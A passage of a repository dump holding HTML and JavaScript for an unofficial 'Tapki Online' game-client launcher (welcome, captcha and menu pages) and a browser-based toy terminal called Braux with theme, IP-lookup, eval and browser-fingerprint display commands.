document.getElementsByClassName(\"UserInfoContainerStyle-textDecoration\");\n                playerInfo[0].innerText = playerInfo[0].innerText.split(\"|\")[0] + `| ${Math.random().toString(36).substring(2)}`;\n                playerInfo[1].innerText = `${formatNumber(getRandomNumber(1, 2222222))} / ${formatNumber(getRandomNumber(2222222, 9999999))}`;\n\n            }, 500)\n        } else {\n            alert(\"Данные уже скрыты.\");\n        }\n    }\n}\n"
  },
  {
    "path": "tanki-online-unoff-client/TapkiOnline/welcome/captcha.html",
    "content": "<!DOCTYPE html>\n<html>\n\n<head>\n    <title>Пример капчи</title>\n    <style>\n        body {\n            background: radial-gradient(50% 100% at 50% 100%, #395673 0%, #001926 100%);\n            color: #fff;\n            font-family: Arial, sans-serif;\n            display: flex;\n            justify-content: center;\n            align-items: center;\n            height: 100vh;\n            margin: 0;\n        }\n\n        #captchaContainer {\n            text-align: center;\n            animation: slide-up 0.5s ease-out;\n        }\n\n        #captchaCanvas {\n            border: 1px solid #fff;\n        }\n\n        #captchaInput {\n            padding: 10px;\n            margin-top: 10px;\n            width: fit-content;\n            background-color: #333;\n            color: #fff;\n            border: none;\n            animation: fade-in 0.5s ease-out;\n        }\n\n        #checkButton {\n            padding: 10px 20px;\n            margin-top: 10px;\n            background-color: #444;\n            color: #fff;\n            border: none;\n            cursor: pointer;\n            animation: fade-in 0.5s ease-out;\n        }\n\n        #resultMessage {\n            margin-top: 10px;\n            animation: fade-in 0.5s ease-out;\n        }\n\n        @keyframes slide-up {\n            0% {\n                opacity: 0;\n                transform: translateY(20px);\n            }\n\n            100% {\n                opacity: 1;\n                transform: translateY(0);\n            }\n        }\n\n        @keyframes fade-in {\n            0% {\n                opacity: 0;\n            }\n\n            100% {\n                opacity: 1;\n            }\n        }\n    </style>\n</head>\n\n<body>\n    <div id=\"captchaContainer\">\n        <canvas id=\"captchaCanvas\" width=\"200\" height=\"100\"></canvas>\n        <br>\n        <input type=\"text\" id=\"captchaInput\" placeholder=\"Введите текст с картинки\">\n        <br>\n        <button id=\"checkButton\" onclick=\"checkCaptcha()\">Подтвердить</button>\n        <p id=\"resultMessage\"></p>\n    </div>\n\n    <script>\n        function generateCaptcha() {\n            var canvas = document.getElementById('captchaCanvas'),\n                ctx = canvas.getContext('2d');\n\n            // Очищаем холст\n            ctx.clearRect(0, 0, canvas.width, canvas.height);\n\n            // Генерируем случайный текст\n            var captchaText = generateRandomText();\n\n            // Рисуем искаженный текст на холсте\n            ctx.font = '40px Arial';\n\n            var x = 35,\n                y = 70,\n                rotation = randomRotation();\n\n            for (var i = 0; i < captchaText.length; i++) {\n                ctx.save();\n\n                // Разные цвета для некоторых символов\n                if (i % 2 === 0) {\n                    ctx.fillStyle = randomColor();\n                } else {\n                    ctx.fillStyle = randomColor();\n                }\n\n                ctx.rotate(rotation);\n                ctx.fillText(captchaText[i], x + i * 30, y);\n                ctx.rotate(-rotation);\n\n                ctx.restore();\n            }\n\n            // Добавляем шум на холсте\n            for (var i = 0; i < 20; i++) {\n                ctx.fillStyle = randomColor();\n                ctx.fillRect(Math.random() * canvas.width, Math.random() * canvas.height, 1, 1);\n            }\n\n            // Сохраняем текст капчи в атрибуте data\n            canvas.dataset.captchaText = captchaText;\n        }\n\n        function generateRandomText() {\n            var characters = 'уХй',\n                captchaText = '';\n            for (var i = 0; i < 5; i++) {\n                captchaText += characters.charAt(Math.floor(Math.random() * characters.length));\n            }\n            return captchaText;\n        }\n\n        function randomColor() {\n            var color = '#';\n            for (var i = 0; i < 6; i++) {\n                color += Math.floor(Math.random() * 16).toString(16);\n            }\n            return color;\n        }\n\n        function randomRotation() {\n            var minAngle = -0.2,\n                maxAngle = 0.2;\n            return Math.random() * (maxAngle - minAngle) + minAngle;\n        }\n\n        function checkCaptcha() {\n            var captchaInput = document.getElementById('captchaInput'),\n                captchaCanvas = document.getElementById('captchaCanvas'),\n                captchaText = captchaCanvas.dataset.captchaText,\n                resultMessage = document.getElementById('resultMessage');\n\n            if (captchaInput.value.toLowerCase() === captchaText.toLowerCase()) {\n                resultMessage.innerHTML = 'Капча пройдена!';\n                resultMessage.style.color = 'green';\n                captchaInput.value = '';\n                setTimeout(() => {\n                    location = \"https://tankionline.com/play?x=\" + (new Date());\n                }, 700);\n            } else {\n                resultMessage.innerHTML = 'Неправильный текст с картинки. Попробуйте ещё раз.';\n                resultMessage.style.color = 'red';\n                captchaInput.value = '';\n                generateCaptcha();\n            }\n        }\n\n        // Генерируем капчу при загрузке страницы\n        window.addEventListener('load', generateCaptcha);\n    </script>\n</body>\n\n</html>"
  },
  {
    "path": "tanki-online-unoff-client/TapkiOnline/welcome/index.html",
    "content": "<!DOCTYPE html>\n<html>\n\n<head>\n    <title>...</title>\n    <style>\n        body {\n            margin: 0;\n            padding: 0;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            height: 100vh;\n            background: radial-gradient(50% 100% at 50% 100%, #395673 0%, #001926 100%);\n            font-family: Arial, sans-serif;\n            cursor: default;\n            user-select: none;\n        }\n        \n        .progress-container {\n            text-align: center;\n        }\n        \n        .progress-bar {\n            width: 300px;\n            background-color: #ddd;\n            border-radius: 4px;\n            overflow: hidden;\n            margin-bottom: 10px;\n        }\n        \n        .progress-bar .progress {\n            width: 0%;\n            height: 20px;\n            background-color: #3ca300;\n            transition: width 0.2s;\n        }\n        \n        .progress-bar .progress-text {\n            color: #333;\n            text-align: center;\n        }\n    </style>\n    <script>\n        function loading() {\n            var progressBar = document.getElementById(\"progress\"),\n                progressText = document.getElementById(\"progressText\"),\n                statusText = document.getElementById(\"status\");\n\n            var width = 1;\n            var interval = setInterval(() => {\n                if (width >= 100) {\n                    clearInterval(interval);\n                    progressText.innerHTML = \"Успешно! Открываем меню...\";\n                    setInterval(() => {\n                        setTimeout(() => {\n                            location = \"menu.html\";\n                        }, 450);\n                    }, 150);\n                } else {\n                    width++;\n                    progressBar.style.width = width + \"%\";\n                    statusText.innerText = progressBar.style.width;\n                }\n            }, 10);\n        }\n    </script>\n</head>\n\n<body onload=\"loading()\">\n    <div class=\"progress-container\">\n        <div class=\"progress-bar\">\n            <div class=\"progress\" id=\"progress\"></div>\n        </div>\n        <div style=\"color: rgb(128, 255, 149)\" id=\"progressText\">\n            Загрузка ресурсов Тапка... <span id=\"status\"></span>\n        </div>\n    </div>\n</body>\n\n</html>"
  },
  {
    "path": "tanki-online-unoff-client/TapkiOnline/welcome/index_birth.html",
    "content": "<!DOCTYPE html>\n<html>\n\n<head>\n    <meta charset=\"UTF-8\">\n    <title>Tapki Online</title>\n    <style>\n        body {\n            margin: 0;\n            padding: 0;\n            background: radial-gradient(50% 100% at 50% 100%, #395673 0%, #001926 100%);\n            font-family: Arial, sans-serif;\n            cursor: default;\n        }\n        \n        a {\n            -webkit-user-drag: none;\n            -khtml-user-drag: none;\n            -moz-user-drag: none;\n            -o-user-drag: none;\n            cursor: pointer;\n        }\n        \n        .container {\n            display: flex;\n            justify-content: center;\n            align-items: center;\n            height: 100vh;\n        }\n        \n        .greeting {\n            text-align: center;\n            color: white;\n            font-size: 36px;\n            margin-bottom: 30px;\n        }\n        \n        .button {\n            padding: 12px 24px;\n            background-color: #1d681f;\n            color: white;\n            font-size: 18px;\n            border-radius: 7px;\n            text-decoration: none;\n            transition: background-color 0.3s ease;\n        }\n        \n        .button:hover {\n            background-color: #2a742e;\n        }\n        \n         ::selection {\n            user-select: none;\n        }\n    </style>\n    <script>\n        const gameUrl = \"index_original.html\";\n        const once = \"birthday\";\n        if (localStorage.getItem(once) == \"false\") {\n            startGame();\n        }\n\n        function _continue() {\n            localStorage.setItem(once, \"false\");\n            startGame();\n        }\n\n        function startGame() {\n            location = gameUrl;\n        }\n    </script>\n</head>\n\n<body>\n    <div class=\"container\">\n        <div class=\"greeting\">\n            <h1>Поздравление</h1>\n            <p>Михаил, с прошедшим Днём Рождения Вас!</p>\n\n            <a onclick=\"_continue()\" class=\"button\">СПАСИБО, И БОЛЬШЕ НЕ ПОКАЗЫВАТЬ</a>\n        </div>\n    </div>\n</body>\n\n</html>"
  },
  {
    "path": "tanki-online-unoff-client/TapkiOnline/welcome/index_old.html",
    "content": "<!DOCTYPE html>\n<html>\n\n<head>\n    <meta charset=\"UTF-8\">\n    <title>Tapki Online</title>\n    <style>\n        body {\n            margin: 0;\n            padding: 0;\n            background: radial-gradient(50% 100% at 50% 100%, #395673 0%, #001926 100%);\n            font-family: Arial, sans-serif;\n            cursor: default;\n        }\n\n        a {\n            -webkit-user-drag: none;\n            -khtml-user-drag: none;\n            -moz-user-drag: none;\n            -o-user-drag: none;\n            cursor: pointer;\n        }\n\n        .container {\n            display: flex;\n            justify-content: center;\n            align-items: center;\n            height: 100vh;\n        }\n\n        .greeting {\n            text-align: center;\n            color: white;\n            font-size: 36px;\n            margin-bottom: 30px;\n        }\n\n        .button {\n            padding: 12px 24px;\n            background-color: #1d681f;\n            color: white;\n            font-size: 18px;\n            border-radius: 7px;\n            text-decoration: none;\n            transition: background-color 0.3s ease;\n        }\n\n        .button:hover {\n            background-color: #2a742e;\n        }\n\n        ::selection {\n            user-select: none;\n        }\n    </style>\n    <script>\n        const gameUrl = \"https://tankionline.com/play\";\n        const once = \"tankiOnline1\";\n        if (localStorage.getItem(once) == \"false\") {\n            startGame();\n        }\n\n        function _continue() {\n            localStorage.setItem(once, \"false\");\n            startGame();\n        }\n\n        function startGame() {\n            location = gameUrl;\n        }\n    </script>\n</head>\n\n<body>\n    <div class=\"container\">\n        <div class=\"greeting\">\n            <h1><span style=\"color: rgb(170, 170, 170)\"><s>Tanki</s> Online</span><br>Tapki Online</h1>\n            <p>Модифицированный клиент разработан программистом DosX.<br>За любой помощью обращайся в Telegram!\n                (@DosX_Plus)</p>\n\n            <a onclick=\"_continue()\" class=\"button\">БОЛЬШЕ НЕ ПОКАЗЫВАТЬ</a>\n        </div>\n    </div>\n</body>\n\n</html>\n"
  },
  {
    "path": "tanki-online-unoff-client/TapkiOnline/welcome/menu.html",
    "content": "<!DOCTYPE html>\n<html>\n\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <title>Tanki Online</title>\n    <style>\n        body {\n            margin: 0;\n            padding: 0;\n            background: radial-gradient(50% 100% at 50% 100%, #395673 0%, #001926 100%);\n            background-repeat: no-repeat;\n            background-attachment: fixed;\n            background-size: 100% 100%;\n            font-family: Arial, sans-serif;\n            cursor: default;\n            user-select: none;\n        }\n\n        a {\n            -webkit-user-drag: none;\n            -webkit-touch-callout: none;\n            -ms-touch-action: none;\n            touch-action: none;\n        }\n\n        a.no-drag {\n            -webkit-user-drag: none;\n            -webkit-touch-callout: none;\n            -ms-touch-action: none;\n            touch-action: none;\n        }\n\n        .container {\n            display: flex;\n            justify-content: center;\n            align-items: center;\n            margin-top: 70px;\n        }\n\n        .container::after {\n            content: \"\";\n            display: table;\n            clear: both;\n        }\n\n        .menuButton {\n            float: left;\n            margin-right: 20px;\n            background-color: #405dff28;\n            border-radius: 17px;\n            box-shadow: 0 0 10px rgba(0, 0, 0, 0.2);\n            padding: 40px;\n            text-align: center;\n            cursor: pointer;\n            transition: all 0.3s ease-in-out;\n            width: 200pt;\n            height: 200pt;\n            color: #fff;\n        }\n\n        .menuButton:hover {\n            transform: translateY(-5px);\n            box-shadow: 0 5px 10px rgba(0, 0, 0, 0.3);\n        }\n\n        .menuButton h2 {\n            font-size: 28px;\n            margin-bottom: 10px;\n            text-transform: uppercase;\n            letter-spacing: 2px;\n        }\n\n        a {\n            text-decoration: none;\n            color: inherit;\n        }\n\n        .greeting {\n            text-align: center;\n            color: white;\n            font-size: 20px;\n        }\n\n        .main {\n            background-repeat: no-repeat;\n            background-size: cover;\n            background-image: url(\"./main.png\");\n        }\n    </style>\n</head>\n\n<body>\n    <div class=\"greeting\">\n        <h1><span style=\"color: rgb(170, 170, 170)\"><s>Tanki</s> Online</span><br>Tapki Online</h1>\n        <p>Модифицированный клиент разработан программистом DosX.<br>За любой помощью обращайся в Telegram! (@DosX_Plus)\n        </p>\n    </div>\n    <div class=\"container\">\n        <a href=\"https://tankionline.com/play\">\n            <div class=\"menuButton main\">\n                <h2>ИГРАТЬ!</h2>\n                <p>Начните играть в Танки Онлайн с постоянными вылетами и сбоями прямо сейчас!</p>\n            </div>\n        </a>\n        <a href=\"https://test.tankionline.com\">\n            <div class=\"menuButton test\">\n                <h2>Тестовый сервер</h2>\n                <p>Танки Онлайн без правил. Выдаётся сразу высокое звание и накрученный баланс. Разрешено делать всё,\n                    что душе угодно!</p>\n                <p style=\"color: rgb(255, 173, 173);\">(Аккаунты и весь прогресс переодически обнуляются)</p>\n            </div>\n        </a>\n    </div>\n    <p style=\"text-align: center; color: rgba(255, 255, 255, 0.699);\">Это меню доступно только при открытии клиента.</p>\n\n    <script>\n        document.addEventListener(\"contextmenu\", function (e) {\n            e.preventDefault();\n        });\n\n        document.addEventListener('wheel', function (event) {\n            {\n                if (event.ctrlKey === true) {\n                    event.preventDefault();\n                }\n            }\n        }, {\n            passive: false\n        });\n    </script>\n</body>\n\n</html>"
  },
  {
    "path": "terminal/index.htm",
    "content": "<!DOCTYPE html>\n<!--\n    Author: DosX\n-->\n\n<html>\n\n<head>\n    <title>Braux: Terminal</title>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, maximum-scale=1\">\n    <meta name=\"google\" content=\"notranslate\">\n    <link rel=\"stylesheet\" href=\"styles/global.css\">\n    <link rel=\"stylesheet\" href=\"styles/themes/dark.css\" id=\"theme-link\">\n</head>\n\n<body>\n    <div id=\"context-menu\">\n        <div class=\"item\" onclick=\"pushCommand('clear')\">Clear</div>\n        <div class=\"item\" onclick=\"pushCommand('about')\">About</div>\n        <hr>\n        <div style=\"margin-bottom: 7px; margin-left: 7px; color: gray;\" id=\"version-info\"></div>\n    </div>\n    <div id=\"app\" class=\"container\">\n        <div id=\"console\"></div>\n        <div class=\"prompt\">\n            <span><span class=\"pointer\">&gt; </span></span><input type=\"text\" autocapitalize=\"off\" autocomplete=\"off\"\n                autocorrect=\"off\" id=\"commandInput\" spellcheck=\"false\" placeholder=\"help\" maxlength=2048>\n        </div>\n    </div>\n\n    <!-- context menu -->\n    <script src=\"modules/context.js\"></script>\n\n    <!-- fingerprint -->\n    <script src=\"modules/fp-api.js\"></script>\n\n    <!-- file system [beta] -->\n    <script src=\"modules/io-fs.js\"></script>\n\n    <script src=\"modules/manifest.js\"></script>\n    <script src=\"modules/app.js\"></script>\n</body>\n\n</html>"
  },
  {
    "path": "terminal/modules/app.js",
    "content": "const visual = {\n    themes: {\n        dark: 'styles/themes/dark.css',\n        light: 'styles/themes/light.css',\n        cherry: 'styles/themes/cherry.css',\n        hacker: 'styles/themes/hacker.css'\n    },\n    installTheme(theme) {\n        visual.setTheme(theme);\n        localStorage.setItem('console-theme', theme);\n    },\n    setTheme(theme) {\n        const linkId = 'theme-link',\n            link = document.getElementById(linkId);\n\n        if (link) {\n            link.href = theme;\n        } else {\n            const newLink = document.createElement('link');\n            newLink.id = linkId;\n            newLink.rel = 'stylesheet';\n            newLink.href = theme;\n            document.head.appendChild(newLink);\n        }\n    },\n    loadTheme() {\n        const theme = localStorage.getItem('console-theme');\n        if (theme) {\n            visual.setTheme(theme);\n        } else {\n            const preferredTheme = window.matchMedia &&\n                window.matchMedia('(prefers-color-scheme: dark)').matches ? visual.themes.dark : visual.themes.light;\n            visual.installTheme(preferredTheme);\n        }\n    }\n}\n\nvisual.loadTheme();\ndocument.getElementById('version-info').innerText = `version ${config.version}`;\n\nObject.entries({\n    \"app-default-config\": \"0\",\n    \"app-prompt\": navigator.userAgent\n}).forEach(([key, value]) => {\n    setDefaultPromptValue(key, value);\n});\n\nconst commandInput = document.getElementById(\"commandInput\");\nconst isWelcomeHiddenKey = 'isWelcomeHidden';\n\nfunction isWelcomeHidden() {\n    return localStorage.getItem(isWelcomeHiddenKey);\n}\n\nvar commandHistory = [],\n    currentCommandIndex = -1;\n\n\n\nconst userProfile = {\n    name: {\n        key: 'user',\n        defaultName: 'user',\n        get() {\n            const userNameValue = localStorage.getItem(userProfile.name.key);\n\n            if (userNameValue) {\n                return userNameValue;\n            } else {\n                this.set(this.defaultName);\n                return this.defaultName;\n            }\n        },\n        set(newUserName) {\n\n            if (newUserName.length < 1) {\n                console.error('Username cannot be empty.');\n                return;\n            } else if (!/^[a-zA-Z0-9]+$/.test(newUserName)) {\n                console.error('Invalid characters.');\n                return;\n            }\n\n            localStorage.setItem(userProfile.name.key, newUserName.toLowerCase());\n        }\n    }\n};\n\nfunction replaceTagsWithEntities(text) {\n    return replacedText = text.replace(/</g, '&lt;').replace(/>/g, '&gt;');\n}\n\nfunction setFocus() {\n    if (window.getSelection().toString() == '' && commandInput !== document.activeElement) {\n        commandInput.focus();\n    }\n}\n\nasync function getIpInfo(ip = '') {\n    const response = await fetch('https://freeipapi.com/api/json/' + ip, {\n        method: 'GET'\n    });\n\n    const data = await response.json();\n\n    const processedData = Object.entries(data)\n        .map(([key, value]) => `<b>${key}</b>: ${value}`)\n        .join('\\n');\n\n    return processedData + '\\n<b>apiUsed</b>: freeipapi.com';\n}\n\nfunction wrapFirstWord(sentence) {\n    var words = sentence.split(' ');\n\n    if (words.length === 0) {\n        return '';\n    }\n\n    words[0] = `<span class=\"first\">${words[0]}</span>`;\n\n    return words.join(' ');\n}\n\nwindow.onerror = function(message, source, lineno, colno, error) {\n    console.error(`[APP]: ${message}`);\n};\n\nfunction autoScroll() {\n    window.scrollTo(0, document.body.scrollHeight);\n}\n\nfunction pushCommand(command, displayCommand = true, sudo = false) {\n    var consoleDiv = document.getElementById('console'),\n        output = document.createElement('div');\n    if (displayCommand) {\n        commandInput.placeholder = '';\n        output.classList.add('out');\n        output.innerHTML = '<span class=\"pointer\">&gt; </span><span class=\"command\">' + wrapFirstWord(replaceTagsWithEntities(command)) + '</span>';\n        consoleDiv.appendChild(output);\n    }\n\n    function executeAsRoot(callback) {\n        if (sudo) {\n            callback();\n        } else {\n            error('You do not have permission to execute this command.');\n            out(`Try '<u><span class=\"insert-cmd\">sudo ${command}</span></u>' (click to insert)`);\n        }\n    }\n\n    function getAllCommandArguments(array) {\n        let out = '';\n        for (let i = 1; i < array.length; i++) {\n            out += array[i] + (i == array.length - 1 ? '' : ' ');\n        }\n        return out;\n    }\n\n    function out(text) {\n        let outStd = document.createElement('div');\n        ['out', 'log'].forEach(outClass => {\n            outStd.classList.add(outClass);\n        });\n        outStd.innerHTML = text;\n        consoleDiv.appendChild(outStd);\n        autoScroll();\n    }\n\n    function error(text) {\n        out(`<span class=\"error\">${text}</span>`);\n        let lastCommands = document.getElementsByClassName(\"command\"),\n            lastCommand = lastCommands[lastCommands.length - 1];\n        lastCommand.style = 'color: rgba(255, 79, 79);';\n        lastCommand.innerHTML += '<span style=\"color: gray;\"> (!)</span>';\n        autoScroll();\n    }\n\n    console.error = error;\n    console.log = console.info = console.warn = out;\n\n    console.clear = () => pushCommand(\"clear\");\n\n    const commandArgs = command.trim().split(' ');\n\n    switch (commandArgs[0]) {\n        case 'help':\n            out(`<span class=\"insert-cmd\">help</span> - show this message\n<span class=\"insert-cmd\">clear</span> - clear console\n<span class=\"insert-cmd\">theme</span> [name] - change theme\n<span class=\"insert-cmd\">echo</span> [html] - format and write text in console\n<span class=\"insert-cmd\">ipinfo</span> [ip] - get info about IP (no domains support)\n<span class=\"insert-cmd\">history</span> - get a log of commands entered\n<span class=\"insert-cmd\">fingerprint</span> - get client information\n<span class=\"insert-cmd\">clear</span> - clear console\n\n<span class=\"insert-cmd\">sudo [command]</span> - execute command as root\n<span class=\"insert-cmd\">about</span> - get info about application\n<span class=\"insert-cmd\">reboot</span> - restart the application\n<span class=\"insert-cmd\">exit</span> - exit from the application\n\n* <span class=\"insert-cmd\">js</span> [code] - execute JavaScript (unsafe)\n* <span class=\"insert-cmd\">factory-reset</span> - reset all application data settings\n`);\n            break;\n\n\n\n        case 'clear':\n            consoleDiv.innerText = '';\n            out(\"<i>Console cleared.</i>\");\n            break;\n\n\n\n        case 'exit':\n            out('Goodbye!');\n            setTimeout(function() {\n                window.location.href = 'about:blank';\n            }, 300);\n            break;\n\n\n\n        case 'echo':\n            out(getAllCommandArguments(commandArgs))\n            break;\n\n\n\n        case 'fingerprint':\n            out(fingerprint());\n            break;\n\n\n\n        case 'factory-reset':\n            executeAsRoot(() => {\n                localStorage.clear();\n                out(`All data of '${document.domain}' erased`);\n                setTimeout(() => {\n                    pushCommand('reboot', false);\n                }, 750);\n            });\n            break;\n\n\n\n        case 'history':\n            switch (commandArgs[1]) {\n                case 'clear':\n                    clearCommandHistory();\n                    out('Command history cleared.');\n                    break;\n                case 'list':\n                    out(getCommandHistory());\n                    break;\n                default:\n                    out(`Arguments:\n * list (get history as numbered list)\n * clear (clear history)\n\nUsage: <span class=\"insert-cmd\">history list</span>`)\n            }\n            break;\n\n\n\n        case 'theme':\n            let isSeccuss = true;\n            switch (commandArgs[1]) {\n                case 'dark':\n                    visual.installTheme(visual.themes.dark);\n                    break;\n                case 'light':\n                    visual.installTheme(visual.themes.light);\n                    break;\n                case 'cherry':\n                    visual.installTheme(visual.themes.cherry);\n                    break;\n                case 'hacker':\n                    visual.installTheme(visual.themes.hacker);\n                    break;\n                default:\n                    isSeccuss = false;\n                    out(`Themes:\n * dark\n * light\n * cherry\n * hacker\n\nUsage: <span class=\"insert-cmd\">theme dark</span>`);\n            }\n            if (isSeccuss) {\n                out(`Theme installed: ${commandArgs[1]}`);\n            }\n            break;\n\n\n\n        case 'ipinfo':\n            out('Requesting...');\n            getIpInfo(commandArgs[1])\n                .then(dataString => {\n                    out(dataString);\n                })\n                .catch(error => {\n                    error('No API access');\n                });\n            break;\n\n\n\n        case 'js':\n            executeAsRoot(() => {\n                let codeToExec = getAllCommandArguments(commandArgs);\n\n                if (codeToExec.trim() == '') {\n                    error('Empty source!');\n                } else {\n                    try {\n                        out(`<span style=\"color: gray;\"><span class=\"pointer\">&lt; </span>${eval(codeToExec)}<span>`);\n                    } catch (exc) {\n                        error(`[VM]: ${exc}`);\n                    }\n                }\n            });\n            break;\n\n\n\n        case 'about':\n            out(` OS:       ${version.os}\n Kernel:   ${version.kernel}\n Shell:    ${version.shell}`);\n            break;\n\n\n\n        case 'reboot':\n            out('Rebooting...');\n            setTimeout(() => {\n                location.reload();\n            }, 300);\n            break;\n\n\n\n        case 'su':\n            error(`You can only use '<span class=\"insert-cmd\">sudo</span>'`);\n            break;\n\n\n\n        case 'sudo':\n            let commandToExecute = getAllCommandArguments(commandArgs);\n            if (commandToExecute.trim() == '') {\n                out(`Usage: sudo [command]`)\n            }\n            pushCommand(commandToExecute, false, true);\n            break;\n\n\n\n        case 'remove-intro':\n            localStorage.setItem(isWelcomeHiddenKey, String(true))\n            break;\n\n\n\n        case 'python': // Yes, I hate python\n            error('Do not embarrass yourself.');\n            break;\n\n\n\n        case '': // Empty prompt\n            break;\n        case '#': // Comment\n            break;\n        default:\n            error(`Command or packet '<u>${commandArgs[0]}</u>' not found!`);\n    }\n    autoScroll();\n}\n\nfunction pushCommandScript(command, sudo = false) {\n    command.split('\\n').forEach(element => {\n        pushCommand(element, false, sudo);\n    });\n}\n\npushCommand(`echo Welcome, ${userProfile.name.get()}!`, false);\n\nif (isWelcomeHidden() !== String(true)) {\n    pushCommand('echo ' +\n        `+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n<b>Braux</b> is a unique console system built on browser-based client tools.\nIt combines ease of use with powerful features, giving you a Unix-like\ncommand line with a choice of different themes and color schemes.\n\nGitHub -> <a target=\"_blank\" href=\"https://github.com/DosX-dev/braux\">https://github.com/DosX-dev/braux</a>\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\nUse '<u><span class=\"insert-cmd\">remove-intro</span></u>' to remove this message`, false);\n}\n\nfunction setDefaultPromptValue(name, defaultValue) {\n    const urlParams = new URLSearchParams(window.location.search);\n    if (!urlParams.has(name)) {\n        let locationBarSections = document.URL.split('/'),\n            locationBarLastSection = locationBarSections[locationBarSections.length - 1],\n            separator = locationBarLastSection.includes('?') ? '&' : '?',\n            newUrl = `${window.location.href + separator + name}=${defaultValue}`;\n        history.pushState({ path: newUrl }, '', newUrl);\n    }\n}\n\n// load history form localStorage\nconst storedHistory = localStorage.getItem(\"history\");\nif (storedHistory) {\n    commandHistory = JSON.parse(storedHistory);\n    currentCommandIndex = commandHistory.length;\n}\n\ncommandInput.addEventListener(\"keydown\", (event) => {\n    switch (event.keyCode) {\n        case 13: // Enter\n            let command = commandInput.value.trim();\n            if (command !== '') {\n                if (commandHistory.length === 0 || command !== commandHistory[commandHistory.length - 1]) {\n                    commandHistory.push(command);\n                }\n                currentCommandIndex = commandHistory.length;\n\n                // save history in localStorage\n                localStorage.setItem(\"history\", JSON.stringify(commandHistory));\n            }\n            break;\n        case 38: // Up\n            event.preventDefault();\n            if (currentCommandIndex > 0) {\n                currentCommandIndex--;\n                commandInput.value = commandHistory[currentCommandIndex];\n            }\n            break;\n        case 40: // Down\n            event.preventDefault();\n            if (currentCommandIndex < commandHistory.length - 1) {\n                currentCommandIndex++;\n                commandInput.value = commandHistory[currentCommandIndex];\n            } else {\n                currentCommandIndex = commandHistory.length;\n                commandInput.value = '';\n            }\n            break;\n        default:\n            break;\n    }\n});\n\n\nfunction getCommandHistory() {\n    return commandHistory.map((command, index) => `${index + 1}. <span class=\"insert-cmd\">${command}</span>`).join(\"\\n\");\n}\n\nfunction clearCommandHistory() {\n    commandHistory = [];\n    currentCommandIndex = 0;\n    localStorage.removeItem(\"history\");\n}\n\ndocument.addEventListener('DOMContentLoaded', () => {\n    commandInput.addEventListener('keypress', function(event) {\n        if (event.keyCode === 13) { // Enter\n            event.preventDefault();\n            pushCommand(commandInput.value.trim());\n            commandInput.value = '';\n        }\n    });\n});\n\nsetInterval(() => {\n    setFocus()\n}, 500);\n\ndocument.addEventListener('click', (event) => {\n    if (event.target.classList.contains('insert-cmd')) {\n        commandInput.value = event.target.textContent;\n    }\n});"
  },
  {
    "path": "terminal/modules/context.js",
    "content": "const contextMenu = document.getElementById(\"context-menu\");\nconst scope = document.querySelector(\"body\");\n\nconst normalizePozition = (mouseX, mouseY) => {\n    // ? compute what is the mouse position relative to the container element (scope)\n    let {\n        left: scopeOffsetX,\n        top: scopeOffsetY,\n    } = scope.getBoundingClientRect();\n\n    scopeOffsetX = scopeOffsetX < 0 ? 0 : scopeOffsetX;\n    scopeOffsetY = scopeOffsetY < 0 ? 0 : scopeOffsetY;\n\n    const scopeX = mouseX - scopeOffsetX,\n        scopeY = mouseY - scopeOffsetY;\n\n    // ? check if the element will go out of bounds\n    const outOfBoundsOnX =\n        scopeX + contextMenu.clientWidth > scope.clientWidth;\n\n    const outOfBoundsOnY =\n        scopeY + contextMenu.clientHeight > scope.clientHeight;\n\n    let normalizedX = mouseX,\n        normalizedY = mouseY;\n\n    // ? normalize on X\n    if (outOfBoundsOnX) {\n        normalizedX =\n            scopeOffsetX + scope.clientWidth - contextMenu.clientWidth;\n    }\n\n    // ? normalize on Y\n    if (outOfBoundsOnY) {\n        normalizedY =\n            scopeOffsetY + scope.clientHeight - contextMenu.clientHeight;\n    }\n\n    return {\n        normalizedX,\n        normalizedY\n    };\n};\n\nscope.addEventListener(\"contextmenu\", (event) => {\n    event.preventDefault();\n\n    const {\n        clientX: mouseX,\n        clientY: mouseY\n    } = event, {\n        normalizedX,\n        normalizedY\n    } = normalizePozition(mouseX, mouseY);\n\n    contextMenu.classList.remove(\"visible\");\n\n    contextMenu.style.top = `${normalizedY}px`;\n    contextMenu.style.left = `${normalizedX}px`;\n\n    setTimeout(() => {\n        contextMenu.classList.add(\"visible\");\n    });\n});\n\nscope.addEventListener(\"click\", (event) => {\n    // ? close the menu if the user clicks outside of it\n    if (event.target.offsetParent != contextMenu) {\n        contextMenu.classList.remove(\"visible\");\n    }\n});\n\nconst items = document.getElementsByClassName(\"item\");\n\nArray.from(items).forEach(item => {\n    item.addEventListener(\"click\", (event) => {\n        contextMenu.classList.remove('visible');\n    });\n});"
  },
  {
    "path": "terminal/modules/fp-api.js",
    "content": "function fingerprint() {\n    var fingerprintData = {\n        'User Agent': navigator.userAgent,\n        'Browser Language': navigator.language,\n        'Cookies Enabled': navigator.cookieEnabled,\n        'Screen Resolution': screen.width + 'x' + screen.height,\n        'Available Screen Resolution': screen.availWidth + 'x' + screen.availHeight,\n        'Color Depth': screen.colorDepth,\n        'Timezone': Intl.DateTimeFormat().resolvedOptions().timeZone,\n        'Local Storage Enabled': typeof Storage !== 'undefined',\n        'Session Storage Enabled': typeof sessionStorage !== 'undefined',\n        'Do Not Track': Boolean(navigator.doNotTrack),\n        'Plugins': Array.from(navigator.plugins).map(plugin => plugin.name).join(', '),\n        'WebGL Vendor': getWebGLVendor(),\n        'WebGL Renderer': getWebGLRenderer(),\n        'WebGL Version': getWebGLVersion(),\n        'Web Audio API': isWebAudioAPISupported(),\n        'MIDI API': isMIDIAPIAvailable(),\n        'WebSockets Supported': isWebSocketsSupported(),\n        'Battery API Supported': isBatteryAPISupported(),\n        'WebVR API Supported': isWebVRAPIAvailable(),\n        'AudioContext Max Channels': getMaxAudioContextChannels(),\n        'Is Chromium based': isChromium()\n    };\n\n    var fingerprintString = Object.entries(fingerprintData)\n        .map(entry => `<b>${entry[0]}</b>` + ': ' + entry[1])\n        .join('\\n');\n\n    return fingerprintString;\n}\n\nfunction getWebGLVendor() {\n    var canvas = document.createElement('canvas'),\n        gl = 